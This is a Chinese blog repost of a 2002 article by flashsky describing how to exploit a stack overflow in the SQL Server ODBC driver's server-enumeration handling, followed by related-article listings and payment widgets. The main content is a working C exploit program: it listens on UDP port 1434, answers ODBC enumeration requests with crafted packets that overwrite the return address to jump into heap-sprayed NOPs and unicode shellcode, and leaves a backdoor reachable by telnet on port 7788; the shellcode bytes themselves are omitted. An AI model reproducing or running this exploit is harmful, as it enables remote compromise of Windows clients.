【实战】SQL SERVER ODBC堆栈溢出攻击的实现。

奇迹MU模拟器源码深度解析:从VC++网络编程到MMORPG架构设计 网络编程是构建分布式系统的核心技术,其核心原理在于通过Socket API实现进程间通信,采用自定义二进制协议进行高效数据序列化与反序列化。在游戏开发领域,尤其是MMORPG服务器架构中,网络编程的价值尤为突出,它直接决定了游戏的实时性、可扩展性与安全性。经典游戏如《奇迹MU》的服务端模拟器源码,为我们提供了一个完整的研究样本,展示了如何基于VC++和Winsock实现多进程协作的C/S架构。通过剖析其GameServer、DataServer、JoinServer等核心模块,可以深入理解状态机设计、数据包 阅读详情

SQL SERVER ODBC堆栈溢出攻击的实现。


创建时间:2002-09-28
文章属性:原创
文章提交: flashsky (flashsky1_at_sina.com)

关于ODBC溢出终于找到了解决之道。
由于原来一心只想把UNICODE代码拷贝过来,由于诸多原因,会导致大量覆盖地址,结果造成一些系统数据的被覆盖,而无法达到执行代码目的,后来我想,是否可以只仅仅覆盖到返回地址,由返回地址执向我们其他的可以控制的地址呢。
仔细考察一下情况,我们数据存在的地址主要有:
1。RECVFROM接收的数据
2。分配的堆
3。拷贝的堆栈
由于堆栈只覆盖到返回地址,我们就要再1和2上面动脑筋了,但1在拷贝到堆之后会清除掉,所以我们能利用的就只能是2了。
考察一下,发现其堆的分配,第一次一般在0x11cb00左右,那么考虑多种情况和unicode可转换的情况,我们可以设置成0x1240fe这个地址作为返回地址,只要保证堆在如下情况
[正常的我们或别人的应答包][我们覆盖地址的包][空操作包][SHELLCODE]
                                              0x1240fe在空操作包之间
于是在堆栈溢出后,地址就指向了堆的这个位置。
就可以达到目的,选择0x1240fe主要是考虑可能其他有很多或SQL SERVER不存在情况,可以调整。
但是在覆盖地址以后,由于程序连续处理后面的包,会把我们的地址又覆盖掉,因为后面空操作和shellcode结合在一起肯定是要大于溢出点的,所以覆盖地址的包后面还要加0,这样就让程序处理到[我们覆盖地址的包]就能返回回来了。
于是实验,成功。但是发现其他机器不行,一检查发现我的是打了SP3的,而其他的没打,反汇编一下其程序,大致一样,只是其溢出点不同,现在的是6000,而以前的是1036是覆盖地址,修改了一下溢出点地址,OK,全部成功。下面这个就是对老新版本都兼容的一个溢出攻击演示程序,一直等待有人发出ODBC列举请求就进行溢出攻击,在我们公司网络上所有的WINDOWS的机器基本都能溢出成功,但由于该shellcode只在ODBC进程内,关闭了这个进程产生的后门就被关闭了,溢出后不关闭这个进程然后telnet host 7788就可以登陆上去,当然也可以写成进程之外处理的,另外UNICODE编码和UNICODE SHELLCODE略去,需要的话象ISNO请教。另外堆的地址第二次操作时会变化,第一次基本都是固定的,但一般用SQL SERVER ODBC列举服务器的客户端基本都属第一次,所以问题不是很大。在就是可能存在更多的sql server odbc的不同版本,其溢出的点可能是不一样的,需要分析以后在地址溢出包对应的位置增加这些点,另外注意这个点的增加会导致其他点的位置变化,因为要被UNICODE编码

再可以先在网络测试一下本地SQL SERVER的个数,调整一下溢出返回地址(要用unicode编码)和发送空包的个数,使得能达到地方,不过基本都能搞定。

#define  DATABASE      0x61
#include <winsock2.h>
#include <windows.h>

void main()
{
    unsigned char buffer[7000];
    unsigned char bufhead[3]={5,0xfc,0xf};
    unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;////11111111//pipe//sql//query;;";
    unsigned char buf2 [4092];
    unsigned char buf3 [1024];
    unsigned char sendbuf [0x2000];
    unsigned  char temp;
    unsigned  char widecode[9000];
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    HANDLE listener;
    int e;
    int i;
    int sendlen;
    DWORD a1;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    struct sockaddr_in udpfrom;
    int udpfromlen = sizeof(udpfrom);
    int n ;
    unsigned char shellend[4] = {0x4e,0x4e,0,0};

    unsigned char myshellcode[]=;unicode shellcode
    unsigned char shellcodehead[70]=;unicode解码头
    shellcodehead[66]=0;
    shellcodehead[67]=0;
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d/n",WSAGetLastError());
        return FALSE;
    }

    if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }
    
    sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL);
    sendlen--;
    memcpy(sendbuf+sendlen,myshellcode,sizeof(myshellcode)-1);
    sendlen=sendlen+sizeof(myshellcode)-1;
    i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
    sendlen = sendlen +i-1;    
    memset(buf2,0x4,4092);
    memset(buf3,0x4,1024);
    
    buf2[3001]=0x81; //本来应该是3000,但是由于照顾老版本加入的,使得多一位
    buf2[3002]=0xaa;
    buf2[3003]=0x12;//新版本的溢出点经过UNICODE编码就成*0x1240fe,
    buf2[3004]=0;   //必须要加入,使得程序判断为0导致不在处理后面的shellcode就直接返回而不破坏我们为此做的溢出覆盖
    buf2[512]=0x2;  //防止老版本取用这个地址导致异常
    buf2[513]=0x3;
    buf2[518]=0x81;
    buf2[519]=0xaa;
    buf2[520]=0x12;//为照顾老版本的溢出点;经过UNICODE编码就成*/

    //构造一个地址溢出包  //NOP+溢出地址

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);      
    addr_in.sin_addr.S_un.S_addr=inet_addr("192.168.0.60");
    n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
    if(n!=0)
    {
         e= WSAGetLastError();
         return -1;
    }
    for(;;)
    {
        n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);    
        *((WORD *)(bufhead+1))=sizeof(buf1)-1;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf1,sizeof(buf1)-1);//进行时间延长,避免包被其他的打断    
        for(i=0;i<10;i++)
        {
            n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
            Sleep(20);
        }
        
        Sleep(50);

        *((WORD *)(bufhead+1))=3005;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf2,3005);//发送地址覆盖包
        n = sendto(sock, buffer,3008, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        

        //写入空操作串
        *((WORD *)(bufhead+1))=1024;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf3,1024);
        for(i=0;i<10;i++)
            n = sendto(sock, buffer,1027, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        

        //写入SHELLCODE
        *((WORD *)(bufhead+1))=4092;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,sendbuf,4092);
        n = sendto(sock, buffer,4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        
    }
    WSACleanup();
    return 0;
}
SQL注入攻击实战演示(附源码) SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。 阅读详情

相关推荐

flashsky我的安全之路

著名计算机安全专家flashsky讲述自己的奋斗经历。

SQL 注入攻击介绍

SQL 注入攻击介绍

代码星辰的博客 5345

实战教程:用DETR+超分辨率搞定红外小目标检测(附完整代码)

本文提供了一套完整的红外小目标检测实战方案,通过融合EDSR超分辨率技术与改进型DETR深度学习算法,有效解决了红外图像中小目标检测的难题。文章详细介绍了从环境搭建、数据预处理、模型定制(如引入EMA注意力与S2特征层)到训练调优的全流程,并附有完整代码,旨在帮助开发者将前沿算法高效落地于安防、自动驾驶等实际场景。

weixin_29057163的博客 532

网络安全威胁——SQL注入攻击

随着互联网的发展和普及,网络安全问题越来越突出。SQL注入(SQL Injection)攻击是其中最普遍的安全隐患之一,它利用应用程序对用户输入数据的信任,将恶意SQL代码注入到应用程序中,导致敏感信息泄露、数据损坏或删除及系统瘫痪,给企业和个人带来巨大损失。

聚集机器学习、信息安全 1万+

Cursor赋能Qt C++:从环境配置到项目构建的AI开发新范式

本文详细介绍了如何利用Cursor工具链提升Qt C++开发效率,从智能环境配置到CMake项目构建的全流程实践。通过AI辅助编程、Qt生态优化及高级调试技巧,开发者可快速完成从传统开发到AI驱动的新范式转换,显著缩短项目搭建时间并提升代码质量。

weixin_30329623的博客 548

BEVFormer详解

BEVFormer 是将Transformer架构的自注意机制与BEV视图中3D检测结合起来的一种纯视觉目标检测方案。对于纯视觉的BEV检测方案,其中的重中之重就是如何将2D的图像特征映射到3D空间的BEV栅格,既然是映射关系,那就有前行投影和反向查询两种机制。前向投影是基于深度估计的方法,参考基于深度估计的BEV视图转换方法,典型代表为LSS。反向查询方法思路为先将BEV栅格在Z方向上进行lift提升,然后再映射到图像特征图上进行特征查询。BEVFormer 就是基于这种机制进行2D图像特征到3D空间的B

MAX的专栏 4749

2020-10-10

一:什么是sql注入   SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。 二:SQL注入攻击的总体思路    1:寻找到SQL注入的位置   2:判断服务器类型和后台数据库类型   3:针对不同的服务器和数据库特点进行SQL注入攻击 三:SQL注入攻击实例 String sql = "select * from user_table where username= ' "+us..

不二的博客 1119

绿联UGOS Pro系统虚拟机部署Windows 11详细教程(跳账户登录,安装内存驱动)

总的来说,此次的虚拟机部署Windows 11出现的问题应该是目前几乎所有虚拟机都可能出现的问题,和绿联是没有关系的。所以说如果你在其它NAS上虚拟机部署Windows 11系统如果出现同样的问题,那么今天教程的方案也同样适用于你。

qq_63499861的博客 1万+

SQL注入攻击

SQL注入是一种常见的安全漏洞,当未经验证或过滤的用户输入直接拼接到SQL查询语句中时,攻击者可以利用这个漏洞执行恶意操作。SQL注入攻击可以导致身份验证绕过、数据泄露、数据库破坏等严重后果。为了防止SQL注入攻击,可以采用参数化查询或预编译语句的方法。参数化查询通过将用户输入作为查询的参数,而不是直接拼接到查询语句中,从而保证了输入的安全性。预编译语句则是在执行查询之前预先编译查询语句,并通过绑定参数的方式安全地插入用户输入。这两种方法都能有效地防止SQL注入攻击,提高应用程序的安全性。开发人员应该

weixin_55010563的博客 1631

SKF SimPro Quick 4.8.1发布

发布说明可以在SimPro手册的SKF SimPro Quick应用程序的一般部分下找到(帮助→SKF SimPro快速手册→一般→发布说明)。请删除旧版本,请备份您存储在C:\SKF SimPro xxx\files文件夹中的文件以及所有自定义报告模板和表格。我们很高兴地通知您,我们的轴承应用工程软件SKF SimPro Quick 4.8.1可供下载。将新的安装文件下载到本地计算机后,双击它安装向导将打开(按照说明操作)3.安装后,在本地机器上启动SKF SimPro Expert软件。

小韩的博客 1820

2015年高教社杯全国大学生数学建模竞赛 A 题:《太阳影子定位》真题解析与 MATLAB 解决方案

🏆 本文已收录于专栏:《滚雪球学数学建模(含历年真题)》,持续更新最新及历年数学建模竞赛资料,每篇内容力求做到“问题讲透、模型讲清、代码可用、论文可参考”,帮助你从零开始逐步建立完整的数学建模知识体系。

**My Coding Family** 1357

SQL注入式攻击

加密用户输入的数据,然后再将它与数据库中保存的数据比较,这相当于对用户输入的数据进行了"消毒"处理,用户输入的数据不再对数据库有任何特殊的意义,从而也就防止了攻击者注入SQL命令。(4)用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。

gaofangxw的博客 1999

某东x-api-eid-token风控参数分析与破解

x-api-eid-token是京东的风控参数,在接口当中,如果没有该参数,有一定的概率能请求成功,但是在请求一段时间后,会报403权限失败的,该参数主要通过jsTk.do这个接口生成,并且会将其存储到cookie当中。

zhouzhou_98的博客 1552

【实战】MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞创建时间:2002-09-23文章属性:原创文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVE

FreeXploiT 1585

6、基因组数据可视化与甲基化分析:从基础操作到深入洞察

本文详细介绍了基因组数据可视化和全基因组DNA甲基化分析的方法和技术,包括基因组查看器(IGV)的基本操作、单核苷酸变异的可视化、DNA甲基化与CpG岛的关联分析、统计建模与显著甲基化区域识别,以及不同细胞系之间的甲基化模式差异分析。通过具体案例展示了如何利用MATLAB进行数据分析和可视化,为基因组研究、疾病机制探索及个性化医疗提供了技术支撑和实践参考。

qsc901234的博客 295

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

MS SQL SERVER ODBC驱动SQL服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVER ODBC驱动中存在一个溢出漏洞,攻击者可

797

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞创建时间:2002-09-23文章属性:原创文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVE

1090

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

【AI Agent】2026年9月 AI Agent 全栈开发最新技术面试宝典(含高频+必背+大厂真题)

本文整理了2026年AI Agent全栈开发最新技术面试题,涵盖基础概念、核心框架和系统设计等关键领域。重点解析了AI Agent与普通Chatbot的本质区别(自主闭环执行能力)、Agentic Loop的完整工作流程(规划-执行-观察-评估循环),以及ReAct范式的原理与适用场景。特别强调面试回答技巧:需结合工程实践中的典型问题、处理方案和量化指标,而非简单背诵定义。内容来自字节、阿里等大厂真实面经,适合3-5年经验开发者准备春招面试,突出考察候选人在复杂场景下的技术决策能力。

小江的记录本 4623

sql注入攻击的原理(非常详细),零基础入门到精通,看这一篇就够了

sql注入攻击的原理(非常详细),零基础入门到精通,看这一篇就够了

分享Python知识 5619

【Web安全】浅谈SQL注入攻击的概念、原理和防范措施:简单分析六种常见攻击方式

SQL注入是一种常见的攻击技术,攻击者通过在用户输入的数据中插入恶意SQL代码来执行非授权的数据库操作。使用参数化查询或预编译语句:参数化查询或预编译语句可以将用户输入的数据与SQL查询语句分开处理,从而避免拼接字符串的方式,减少了SQL注入的风险。UNION注入是另一种常见的SQL注入技术,攻击者试图通过使用UNION操作符将两个表的内容合并在一起,从而获取有关数据库结构和数据的敏感信息。输入验证和过滤:对于用户输入的数据,应该进行充分的验证和过滤,确保输入的数据符合预期的格式和类型。

HEX9CF的技术博客 2407

【2025版】最新SQL 三种注入方式详解,零基础入门到精通,收藏这一篇就够了

MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

wly55690的博客 2906

SQL注入攻击介绍

SQL注入攻击介绍 一、SQL注入攻击简介 SQL注入攻击是指,后台数据库操作时,如果拼接外部参数到SQL语句中,就可能导致欺骗服务器执行恶意的SQL语句,造成数据泄露、删库、页面篡改等严重后果。按变量类型分为:数字型、字符型;按HTTP提交方式分为:GET注入、POST注入、Cookie注入;按注入方式分为:报错注入、盲注(布尔盲注、时间盲注)、堆叠注入等等。 二、SQL注入分类 按变量类型分类:如SQL语句为select *from user where param=1(数字型)、select *fr

99度灰的博客 3万+

网络安全——SQL注入攻击

Web安全可以从以下三个方面进行考虑:Web服务器的安全Web客户端的安全Web通信信道的安全。

VN520的博客 1147

SQL注入攻击(:联合查询注入)

SQL注入攻击(SQL Injection)是一种常见的网络攻击手段,主要利用Web应用程序对SQL语句的输入验证不严格的漏洞,攻击者通过在输入框中输入特殊字符或SQL语句,欺骗应用程序,使其将输入的字符当成SQL语句的一部分来执行。通过这种方式,攻击者可以绕过应用程序的认证和授权机制,直接访问数据库中的敏感信息,或者执行恶意的SQL语句,导致数据库数据被破坏、泄漏或者被盗取。SQL注入攻击的原理主要是Web应用程序没有对用户输入的数据进行严格的验证和过滤,导致非法数据侵入系统。

weixin_63650919的博客 1771

什么是“SQL注入攻击”?如何预防和应对?

SQL注入攻击是一种针对数据库驱动的应用程序的攻击技术,其中攻击者通过在应用程序的输入字段中插入或“注入”恶意的SQL代码,试图非法访问、操作或破坏后端数据库。当应用程序不正确地处理用户输入,并将其直接拼接到SQL查询中时,就可能发生这种攻击。恶意的SQL代码是指在应用程序中执行的具有恶意目的的SQL语句。以下是一些可能的恶意SQL代码的例子:SQL注入攻击:攻击者通过在应用程序输入框中注入恶意的SQL代码,从而可以访问和修改数据库中的数据。

软件行业技术文化交流。 2592
上一篇: 【实战】WebDav远程溢出漏洞分析
下一篇: 【实战】MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值